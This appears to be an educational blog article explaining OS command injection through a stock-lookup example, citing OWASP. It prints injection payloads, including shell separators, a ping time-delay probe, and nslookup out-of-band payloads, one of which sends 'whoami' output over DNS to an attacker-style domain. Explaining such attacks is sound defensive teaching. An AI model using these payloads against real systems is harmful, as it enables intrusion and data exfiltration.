Command Injection Attacks, commonly known as shell injection are vulnerabilities in web applications allowing malicious attackers to execute arbitrary OS commands upon an Application Server. From there attackers can elevate privileges, launch lateral movement attacks or compromise the application itself, or other such data stored on the server. Typically attackers will take advantage of poor application security considerations such as insufficient input validation. This attack vector is different from Code Injection in that code injection allows attackers to add code of their own which is then executed by the web application. Code Injection is a generic term for any kind of attack that involves the injection of some Code. This has limitations and a Command Injection attack extends the capability of the attacker as we have described with lateral movement, and with privilege escalation. The technique is not new to us, and OWASP has consistently had this technique in the top ten since at least 2017 when it was listed as the no.1 vulnerability, to the 2021 report documenting the technique at no.4. In this article we will explain what the threat is & provide some examples of how the vulnerability can be exploited.
Let’s take a look at a typical e-commerce shopping application whereby a user is checking for the availability of a stock item
to look this up the application will query various systems, with functionality implemented by calling on a shell command with the product and storing command IDs as arguments
Stockreport[.]pl 301 27
the command outputs the stock level for the item specified with the request returned to the client. With the application being poorly written, and not having the necessary validation against OS Command Inject the attacker can input arbitrary input to execute a command
& echo viwnfwggou & if this is inputted with the product id parameter, then the subsequent command that the application will execute will be;
Stockreport[.]pl & echo viwnfwggou & 27
The echo command will cause the string to be echoed out. This is an effective and simple way to validate or test for OS Command Injection vulnerabilities within the application. The & is a shell command separator, which makes the command that is actually executed is three separate sequential commands, with each one following the next. This makes the output that is returned to the user being;
Error – product ID was not provided
27: command not found
The output demonstrates to us that
The original stockreport.pl command was executed without the expected arguments and therefore returned an error message
By injecting the echo command, the supplied string was echoed in the output
The original argument of 27 was executed which caused the error.
Adding additional separator commands & after the injected command can be useful because it will separate the injected commands from what it is that follows the injection point. This can reduce the possibility that what follows will prevent the injected command from being executed.
Most Command Injection instances are blind vulnerabilities which simply mean that the application will not output the command response within the HTTP response. This type of vulnerability can be exploited but requires different techniques. Take the example of a web application feedback form, users will typically enter their feedback, provide email addresses and submit the post message. The output, if there is any at all may not be returned by the application therefore using the echo command would not be an effective technique to detect, and then exploit a vulnerability.
mail-s”Cool Site!”-aFrom:random@user[.]com feedback@ ecomm-webapp[.]com
A technique we could use, in this instance would be to trigger a time delay, which would then confirm that the command was executed based on the time it took for the application to respond. Using the ping command is a good technique to do this as you can specify the number of packets to send which in turn determines the time taken for the command to run.
& ping –c 10 127.0.0.1 &
using the command above will force the application to ping using its loopback adaptor for 10 seconds which would give provide the developer with the knowledge if the application is vulnerable to a blind OS Command Injection.
Other techniques include exploiting OS Command Injection using out-of-band (OAST) which can trigger an injected command that will inject an out-of-band interaction with a system that you control using this payload the nslookup command will cause a DNS lookup for the specified Domain. The attacker monitors for the requested lookup which will detect that the command was injected successfully.
& nslookup viwnfwggou[.]web-attacker[.]com &
Taking this technique a step further the out-of-band channel provides a way to exfiltrate output from injected commands:
& nslookup `whoami`[.]viwnfwggou[.]ecomm-webapp[.]com &
this will cause a DNS lookup to the attackers Domain exposing the data of the whoami command
1. OWASP Top Ten https://owasp.org/Top10/